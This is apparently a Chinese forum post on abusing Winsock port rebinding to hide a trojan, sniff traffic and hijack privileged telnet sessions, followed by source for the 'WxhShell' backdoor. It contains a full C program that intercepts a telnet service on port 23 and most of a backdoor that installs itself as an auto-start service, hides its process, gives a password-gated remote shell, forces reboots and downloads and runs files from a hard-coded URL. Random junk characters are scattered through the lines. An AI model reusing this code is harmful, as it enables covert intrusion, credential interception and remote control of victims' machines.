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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: k5M5bH',  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); = N&5]Z  
SzP`(}AU  
  saddr.sin_family = AF_INET; NSawD.9mV  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); oyB gF\  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); J>l?HK  
|v:oLgUdH  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 xKR\w!+Z'  
HQvJ*U4++  
  这意味着什么?意味着可以进行如下的攻击: zmU@ k  
SZ29B  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 l+#J oc<8  
0iYo&q'n  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "(r%`.l=I  
;6eBfMhL  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 jme`Tyd  
5?MaKNm}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  T;G<62`.h  
wz'=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 xa.tH)R  
Ul_ 5"3ze  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {E; bT|3z  
.TMLg(2hgv  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }* \*<d 3  
,ZghV1z  
  #include MaPOmS8?  
  #include fat;5XL@  
  #include 3eg6 CdT  
  #include    f8 BZkh  
  DWORD WINAPI ClientThread(LPVOID lpParam);   E!'6v DVC:  
  int main() [~PR\qm  
  { Ur]/kij  
  WORD wVersionRequested; 6P3h955c  
  DWORD ret; I8a3:)  
  WSADATA wsaData; UX+vU@Co[  
  BOOL val; $xT9e  
  SOCKADDR_IN saddr; `Of D^Q=  
  SOCKADDR_IN scaddr; SJ91(K  
  int err; "OwK-  
  SOCKET s; ]5K+W  
  SOCKET sc; [^Bjmw[7  
  int caddsize; QChncIqc  
  HANDLE mt; Q 0G5<:wc  
  DWORD tid;   gu6%$z  
  wVersionRequested = MAKEWORD( 2, 2 ); ]#Cc7wa  
  err = WSAStartup( wVersionRequested, &wsaData ); jST4O"DjM  
  if ( err != 0 ) { 35Fxzj $  
  printf("error!WSAStartup failed!\n"); 42~.N =2  
  return -1; )X;051Q  
  } j+fib} 8}  
  saddr.sin_family = AF_INET; `Xz!apA  
   G^N@ r:RS  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 06O_!"GD}  
|h }4J  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *|<T@BXn  
  saddr.sin_port = htons(23); IU<lF)PF$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (i L*1f   
  { 8v z h5,U  
  printf("error!socket failed!\n"); x3g4r_  
  return -1; J/fnSy  
  } %&_^I*  
  val = TRUE; !zvjgDlZv  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 re_nb)4g  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .uVd'  
  { +%v1X&_\  
  printf("error!setsockopt failed!\n"); jQxhR  
  return -1; O/|))H?C  
  } Um}AV  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7O'.KoMw  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 RyP MzxV  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 I?S t}Tl  
O2\(:tvw  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~Th,<w*o  
  { mogmr  
  ret=GetLastError(); ^*i0~_  
  printf("error!bind failed!\n"); e'>q( B  
  return -1; >{QO$F#  
  } 7UY4* j|[C  
  listen(s,2); 5[g\.yi2_]  
  while(1) O!%T<2i3  
  { rf-yUH]&S  
  caddsize = sizeof(scaddr); #M{qMJHDo  
  //接受连接请求 ,#FP]$FK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /!2`pv  
  if(sc!=INVALID_SOCKET) H<[~V0=  
  { ]/kpEx  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i^e8.zgywF  
  if(mt==NULL) F|{uA/P{  
  { 8q%y(e  
  printf("Thread Creat Failed!\n"); "!D y[J  
  break; F$(ak;v}  
  } r8@] |`j  
  } g9q}D-  
  CloseHandle(mt); O >pv/Ns  
  } hVmnXT 3Z  
  closesocket(s); &oMWs]0  
  WSACleanup(); En1LGi4#  
  return 0; u -P !2vT  
  }   (De{r|  
  DWORD WINAPI ClientThread(LPVOID lpParam) HO['o{>BL  
  { w6Nn x5Ay  
  SOCKET ss = (SOCKET)lpParam; GLyPgZ`|  
  SOCKET sc; :^ WF% X  
  unsigned char buf[4096]; GyWa=KW.u  
  SOCKADDR_IN saddr; 71\53Qr#U  
  long num; (bQ3:%nD  
  DWORD val; njf\fw_  
  DWORD ret; 'Gqv`rq&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;RJ 8h x  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @`dg:P*[  
  saddr.sin_family = AF_INET; >xabn*Kq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3PGAUQR#"q  
  saddr.sin_port = htons(23); _<LL@IX  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @U18Dj[  
  { MNWI%*0LO  
  printf("error!socket failed!\n"); BH1h2OEe#  
  return -1; w^ut,`yW R  
  } oR&z,%0wMK  
  val = 100; VO8rd>b4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t|eH'"N%o  
  { EC;>-s  
  ret = GetLastError(); _ Lb"yug  
  return -1; gr*CN<  
  } ;5bd<N  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k1q/L|')  
  { oDV6[e  
  ret = GetLastError(); ;o3gR4u_L  
  return -1; _yv#v_Z  
  } c%C6d97q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .Zczya  
  { RC/ 3\ '  
  printf("error!socket connect failed!\n"); 4_kN';a4Q  
  closesocket(sc); :${tts2g  
  closesocket(ss); Bj1%}B  
  return -1; R ,qQC<  
  } ];LFv5"  
  while(1) >< $LV&  
  { WA8<:#{e  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /7 Tm2Vj8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 PQkw)D<n]_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ve ysW(z  
  num = recv(ss,buf,4096,0); \jtA8o%n  
  if(num>0) Os@b8V 8,A  
  send(sc,buf,num,0); Fs(PVN  
  else if(num==0) nf/?7~3?[  
  break; b/'c h  
  num = recv(sc,buf,4096,0); ZrTB%  
  if(num>0) X+aQ 7^"s  
  send(ss,buf,num,0); = 'NV3by  
  else if(num==0) C~B ]@xxK)  
  break; ^;RK-)  
  } [|OII!"  
  closesocket(ss); P[ WkW#  
  closesocket(sc); Gv &G2^  
  return 0 ; +QU>D:l  
  } Sp80xV_B  
(c(F1=K  
FKTF?4+\U  
========================================================== Z 5>~l  
D#b*M)X"  
下边附上一个代码,,WXhSHELL &2y4k"B&)  
::oFL#+  
========================================================== w'2FYe{wj  
J+`aj8_B  
#include "stdafx.h" VTu#)I7A^@  
y|}~"^+T  
#include <stdio.h> $] We|  
#include <string.h> yov~'S9  
#include <windows.h> ^ ~Eh+  
#include <winsock2.h> 2+gbMd4n  
#include <winsvc.h> p H  y  
#include <urlmon.h> 4w^o !  
yV!4Im.>  
#pragma comment (lib, "Ws2_32.lib") T+v*@#iJ_  
#pragma comment (lib, "urlmon.lib") WFOJg&  
x,,y}_YX  
#define MAX_USER   100 // 最大客户端连接数 Io]FDPN  
#define BUF_SOCK   200 // sock buffer V.P<>~W  
#define KEY_BUFF   255 // 输入 buffer ZwS:Te9-  
 ma~#E$i&  
#define REBOOT     0   // 重启 HrBJi  
#define SHUTDOWN   1   // 关机 a/j;1xcc<  
F3}MM dX  
#define DEF_PORT   5000 // 监听端口 Cg): Q8  
Af;Pl|Zh[  
#define REG_LEN     16   // 注册表键长度 L/"};VI  
#define SVC_LEN     80   // NT服务名长度 }`B .(3n  
_]`7et\=  
// 从dll定义API [s>3xWZ+a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fY!?rZ)$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KdR4<qVV}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a{]=BY oL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \X8b!41  
vFVUdxPOw  
// wxhshell配置信息 zFq%[ X  
struct WSCFG { !4vb{AH  
  int ws_port;         // 监听端口 /I`TN5~  
  char ws_passstr[REG_LEN]; // 口令 zeHF-_{  
  int ws_autoins;       // 安装标记, 1=yes 0=no U>E: Ub0r  
  char ws_regname[REG_LEN]; // 注册表键名 fwFJe(.  
  char ws_svcname[REG_LEN]; // 服务名 xol%\$|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <k:I2LF_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I\. |\^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 exb} y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gJ6`Kl985O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LTWkHy x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V)^Xz8H_  
:\OSHs<M  
}; q-JTGCFl  
n%&L&G  
// default Wxhshell configuration Ay16/7h@hi  
struct WSCFG wscfg={DEF_PORT, p R'J4~  
    "xuhuanlingzhe", IOl_J>D]F  
    1, X.fVbePxUU  
    "Wxhshell", 4XN \p  
    "Wxhshell", ^PZ[;F40  
            "WxhShell Service", 0\dmp'j]  
    "Wrsky Windows CmdShell Service", .EKlw##  
    "Please Input Your Password: ", m-AF&( ;K  
  1, =0)|psCsM  
  "http://www.wrsky.com/wxhshell.exe", m TE(J Zt  
  "Wxhshell.exe" DKIH{:L7  
    }; F0:]@0>r  
<7^|@L 6  
// 消息定义模块 %Rk|B`ST  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E\[BE<y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3oCI1>k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o1.~g'!^  
char *msg_ws_ext="\n\rExit."; ${ {4L ?7  
char *msg_ws_end="\n\rQuit."; +U o NJ   
char *msg_ws_boot="\n\rReboot..."; o<Zlm)"%1  
char *msg_ws_poff="\n\rShutdown..."; *)Rm X$v3  
char *msg_ws_down="\n\rSave to "; ;kgP:n  
8rsc@]W  
char *msg_ws_err="\n\rErr!"; _?c.m*)A  
char *msg_ws_ok="\n\rOK!"; VgH O&vU  
'c35%? ]  
char ExeFile[MAX_PATH]; P@7>R7gS  
int nUser = 0; <0CjEsAB]  
HANDLE handles[MAX_USER]; rnIj pc F  
int OsIsNt; #A/OGi  
OyTK,i<n  
SERVICE_STATUS       serviceStatus; -r\jIO_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >yO/p(/;jR  
{iD/0q  
// 函数声明 <]rayUyaf  
int Install(void); rqamBm 5  
int Uninstall(void); Q0xO;20  
int DownloadFile(char *sURL, SOCKET wsh); t+?Bb7p,H  
int Boot(int flag); P7drUiX  
void HideProc(void); $plk>Khg  
int GetOsVer(void); f;e#7_  
int Wxhshell(SOCKET wsl); FuHBzBoM=  
void TalkWithClient(void *cs); %ih\|jR t  
int CmdShell(SOCKET sock); >]h{[kU %4  
int StartFromService(void); 51k}LH  
int StartWxhshell(LPSTR lpCmdLine); ;+hh|NiQ  
%SmOP sz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =g#PP@X]D!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hG1$YE  
KdEvu?  
// 数据结构和表定义 ?qjdmB|w  
SERVICE_TABLE_ENTRY DispatchTable[] = OgF[=  
{ pv]@}+<Dt  
{wscfg.ws_svcname, NTServiceMain}, g NI1W@)  
{NULL, NULL} t ed:]  
}; ytcLx77`:  
<XeDJ8 '  
// 自我安装 s%jBIeh  
int Install(void) J n.7W5v  
{ n`5Nf  
  char svExeFile[MAX_PATH]; !<w6j-S  
  HKEY key; S@qPf0dL<  
  strcpy(svExeFile,ExeFile); B {Cm`f8E  
R$:-~<O  
// 如果是win9x系统,修改注册表设为自启动 @@ Q4{o  
if(!OsIsNt) { cC*WZ]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7P{= Pv+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?0Q3F  
  RegCloseKey(key); ;As~TGiT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .eJKIck  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k \OZ'dS  
  RegCloseKey(key); xg p)G!  
  return 0; 4&*lpl*N  
    } y_WC"  
  } Oc)n,D)0  
} ufL,K q4  
else { g#I`P&  
3! P^?[p3  
// 如果是NT以上系统,安装为系统服务 7F"ljkN1S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qCI&H7u@  
if (schSCManager!=0) [MeivrJ+  
{ t #(NfzN  
  SC_HANDLE schService = CreateService RRO@r}A!y  
  ( 01n!T2;yW}  
  schSCManager, D^r g-E[L  
  wscfg.ws_svcname, Z!v,;MW  
  wscfg.ws_svcdisp, @[^ 3y C#  
  SERVICE_ALL_ACCESS, eu(Fhs   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0]>bNbLB"  
  SERVICE_AUTO_START, ~A0AB `7  
  SERVICE_ERROR_NORMAL, =-dnniKW4  
  svExeFile, =]@Bc 7@  
  NULL, Zr}>>aIJ]k  
  NULL, N<JI^%HBgP  
  NULL, U N?tn}`!  
  NULL, D4$b-?y  
  NULL %<yW(s9{  
  ); \%r#>8c8  
  if (schService!=0) r'i99 ~  
  { /M5.Z~|/  
  CloseServiceHandle(schService); &OU.BR >  
  CloseServiceHandle(schSCManager); rVabkwYD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %jAc8~vW?  
  strcat(svExeFile,wscfg.ws_svcname);  U#f*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Zl5DlRuw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L`t786 (M  
  RegCloseKey(key); )QAYjW!Z  
  return 0; lr&2,p<  
    } AG >D,6Y  
  } tN{0C/B9  
  CloseServiceHandle(schSCManager); X0*+]tRg  
} ca=MUm=B  
} . r/s.g  
]Jz=. F sO  
return 1; ` k] TOc  
} &tOo[U?  
yK{P%oh)  
// 自我卸载 RlfI]uCDM  
int Uninstall(void) {r&r^!K;  
{  ZPf&4#|  
  HKEY key; <@7j37,R7V  
CX#d  
if(!OsIsNt) { !d##q)D f?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6UIS4 _   
  RegDeleteValue(key,wscfg.ws_regname); ^ iu)vED  
  RegCloseKey(key); 8z93ETv7`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -dMH>e0  
  RegDeleteValue(key,wscfg.ws_regname); $;g*s?F*  
  RegCloseKey(key); ceg\lE:8  
  return 0; d^'_H>x  
  } ygTfQtN  
}  WDNj 7  
} f TmJDUv+  
else { r%: :q^b3  
Xp;'Wa"@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T:j41`g%s  
if (schSCManager!=0) i(A `'V8GY  
{ |TJ gH<I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [?z;'O}y  
  if (schService!=0) ['(qeS@5O  
  { 6X ]I`e  
  if(DeleteService(schService)!=0) { eI|FrBq%  
  CloseServiceHandle(schService); mcwd2)  
  CloseServiceHandle(schSCManager); qRT5|\l  
  return 0; Fmn_fW6  
  } ",YNphjAn  
  CloseServiceHandle(schService); qLBQ!>lR  
  } UXSwd#I&  
  CloseServiceHandle(schSCManager); T c-fO /0  
} hj=n;,a9  
} covCa)kf  
z%fjG}z  
return 1; i (rYc  
} ?(s9dS,7wZ  
|QrVGm@2  
// 从指定url下载文件 !le#7Kii  
int DownloadFile(char *sURL, SOCKET wsh) +)9=bB  
{ kb-XEJ}L  
  HRESULT hr; ;180ct4  
char seps[]= "/"; =>*}qen  
char *token; %5ov!nm7  
char *file; } %3;j5 ;6  
char myURL[MAX_PATH]; N#J8 4i;ry  
char myFILE[MAX_PATH]; l2#~   
6hcs )X7m  
strcpy(myURL,sURL); #E4oq9{0*W  
  token=strtok(myURL,seps); ^g'uR@uU  
  while(token!=NULL) N]BH67<  
  {  w&U28"i>  
    file=token; P EzT|uY  
  token=strtok(NULL,seps); UeUOGf ,  
  } Na\&}GSf^  
jcePSps]  
GetCurrentDirectory(MAX_PATH,myFILE); Jcvp<  
strcat(myFILE, "\\"); $hM9{  
strcat(myFILE, file); jp-(n z\  
  send(wsh,myFILE,strlen(myFILE),0); 9aID&b +  
send(wsh,"...",3,0); z#5qI',L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rl"yE=  
  if(hr==S_OK) /0L]Pf;  
return 0; 2Z(?pJyDM  
else $SLyI$<gP  
return 1; E]Cm#B  
 X56.Y.  
} PtjAu  
ubl Y%{"  
// 系统电源模块 j%!xb><  
int Boot(int flag) IFSIQ q  
{ CyS.GdyP  
  HANDLE hToken; AfW:'>2  
  TOKEN_PRIVILEGES tkp; 'mU\X!- 4<  
=+e;BYD#!  
  if(OsIsNt) { 9dg+@FS}=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "t{D5{q|[k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p=Q o92 NH  
    tkp.PrivilegeCount = 1; FN0<iL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *XXa 9z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3qfQlqJ&3  
if(flag==REBOOT) { ?AQR\)P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C-2#-{<  
  return 0; eET1f8 B=L  
} 5IG#-Q(6sp  
else { .v) A|{:2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `?N|{kb  
  return 0; P\X$fD  
} %F*h}i  
  } >+BLD  
  else { Kn+B):OY+  
if(flag==REBOOT) { M4XU*piz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Xt*h2&  
  return 0; V=GP_^F  
} )=h+5Z>E1  
else { g*U[?I"sC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (S j?BZjC  
  return 0; 6K.0dhl>`B  
} H|N,nkhH}  
} =sXk,I;  
e=6C0fr  
return 1; #w[Ie+  
} \T!tUd  
$8_b[~%2  
// win9x进程隐藏模块 m!<uY?,hf  
void HideProc(void) w##$SaTI  
{ c+TCC%AJQI  
d _Y7/_i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5DeAH ;  
  if ( hKernel != NULL ) mVyF M -`  
  { _`]YWvh  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "qY_O/Eg]]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6[% 4 Q[  
    FreeLibrary(hKernel); bq}o#d5p-_  
  } ,3ivB8  
pu+jw<7  
return; vB/G#\Zqz  
} 9<!Ie^o?  
)e\IdKl=  
// 获取操作系统版本 XgZ.UT  
int GetOsVer(void) _E[)_yH'-  
{ z`@|v~i0`  
  OSVERSIONINFO winfo; `oH6'+fT`;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &FzZpH  
  GetVersionEx(&winfo); #.W<[KZf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8<g9 ~L  
  return 1; G C3G=DTt  
  else k'{Bhi4  
  return 0; U{.yX7  
} &Sp2['a!  
}W* q  
// 客户端句柄模块 lZ}H?n%  
int Wxhshell(SOCKET wsl) >BlF< d`X  
{ n|I5ylt  
  SOCKET wsh; ^5*9BwH`  
  struct sockaddr_in client; ||kUi=5  
  DWORD myID; | Xk>a7X  
39,7N2uY  
  while(nUser<MAX_USER) |`6*~ciUV  
{ H(j983  
  int nSize=sizeof(client); 0W >,RR)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?,x3*'-(  
  if(wsh==INVALID_SOCKET) return 1; }EWPLJA  
L(qQ,1VY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r5aOQ  
if(handles[nUser]==0) *U^7MU0  
  closesocket(wsh); 3,-xk!W$L  
else r(cd?sL96R  
  nUser++; n[`FoY  
  } /q>1X!Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UgZuEfEGve  
OuF%!~V   
  return 0; TW}nO|qw  
} e47N9&4  
UB1/0o  
// 关闭 socket La'XJ|>V  
void CloseIt(SOCKET wsh) 2i_k$-  
{ %Y//}  
closesocket(wsh); gCY%@?YyN  
nUser--; Z |CL:)h  
ExitThread(0); -mK;f$X  
} EG[Rda  
|.Y}2>{  
// 客户端请求句柄 &ywU^hBh  
void TalkWithClient(void *cs) =5m~rJ< {  
{ Z]1jg>")  
hUGP3ExC*  
  SOCKET wsh=(SOCKET)cs; #)N}F/Od^  
  char pwd[SVC_LEN]; 5WvtvSO  
  char cmd[KEY_BUFF]; /V@9!  
char chr[1]; FpM0%   
int i,j; _B5v&# h(.  
u =%1%p,  
  while (nUser < MAX_USER) { },LO]N|  
a"&Gs/QKSC  
if(wscfg.ws_passstr) { m3E`kW |  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Wc qUF"A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7[?{wbq  
  //ZeroMemory(pwd,KEY_BUFF); "nEfk{g  
      i=0; <*5 5d2  
  while(i<SVC_LEN) { -3On^Wj]  
Zf~Z&"C)  
  // 设置超时 Q9h;`G 7t  
  fd_set FdRead; #?EmC]N7  
  struct timeval TimeOut; 48Z0aA~+  
  FD_ZERO(&FdRead); m]#oZVngy  
  FD_SET(wsh,&FdRead); Tweku}D7  
  TimeOut.tv_sec=8; w5uOkz #  
  TimeOut.tv_usec=0; (TJ )Y7E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dGY:?mf&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !O }^Y  
a08`h.dyN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /I/gbmc)  
  pwd=chr[0]; I c 2R\}q  
  if(chr[0]==0xd || chr[0]==0xa) { Z0I>PBL@l  
  pwd=0; ;Wu6f"+Y#  
  break; 8\ { 1y:|  
  } _gl7Ma  
  i++; ^\ocH|D  
    } JcDcYB  
1Vy8TV3D  
  // 如果是非法用户,关闭 socket \DC0`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :@8N${7`$A  
} :7[20n}w  
q71~Y:7f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i~0x/wSl_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3"HW{=  
$\A=J  
while(1) { LaCVI  
waI:w,  
  ZeroMemory(cmd,KEY_BUFF); 'Wz`P#/  
6=o'.03\f  
      // 自动支持客户端 telnet标准   Ods/1 KW  
  j=0; gONybz6]  
  while(j<KEY_BUFF) { 6z keWR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |`,AA a  
  cmd[j]=chr[0]; .ZK^kcyA  
  if(chr[0]==0xa || chr[0]==0xd) { /\0g)B;]  
  cmd[j]=0; }lP'bu  
  break; he\ pW5p  
  } LX2Re ]&  
  j++; o3OtG#g2  
    } 9 O2??N7f  
JULns#tx}  
  // 下载文件 9H#;i]t&  
  if(strstr(cmd,"http://")) { +l)[A{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -b`O"Ck*  
  if(DownloadFile(cmd,wsh)) d,d ohi  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {|D7H=f  
  else 8%Eau wAx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]u<8j r  
  } )~[rb<:)b  
  else { V|W[>/  
h1AZ+9  
    switch(cmd[0]) { `+0K~k|DC  
  EYXHxo  
  // 帮助 Yw_^]:~  
  case '?': { mo()l8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /fDXO;tN  
    break; QopA'm  
  } ')#!M\1,HQ  
  // 安装 xh`4s  
  case 'i': { nc/F@HCB  
    if(Install()) =jIP29+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eOUv#F  
    else ,?/AIL]_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9T;DFUM  
    break; d;FOmo4  
    } *mtS\J  
  // 卸载 eRm 9LOp  
  case 'r': { Q8  
    if(Uninstall()) 5BRZpCb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #)b0&wyW6i  
    else Pof]9qE-y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }LTyXo  
    break; T7qE 2  
    } ;@$v_i   
  // 显示 wxhshell 所在路径 GA+#'R  
  case 'p': { 8RaRXnJ  
    char svExeFile[MAX_PATH]; LzGSN  
    strcpy(svExeFile,"\n\r"); T6M=BkcP  
      strcat(svExeFile,ExeFile); 9L7jYy=A#  
        send(wsh,svExeFile,strlen(svExeFile),0); l:- <CbG  
    break; ~;/}D0k$x  
    } ^={s(B2  
  // 重启 "l[ c/q[  
  case 'b': { +b_o2''  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g?OC-zw  
    if(Boot(REBOOT)) 7+;CA+;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /k^!hI"4c  
    else { WinwPn+9  
    closesocket(wsh); ?w5>Z/V  
    ExitThread(0); L|]!ULi$d  
    } gEISnMH  
    break; >&`;@ZOH  
    } ;5!M+nk  
  // 关机 U#>K(  
  case 'd': { 'Hv=\p4$1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :TkR]bhm  
    if(Boot(SHUTDOWN)) y^[?F>wB  
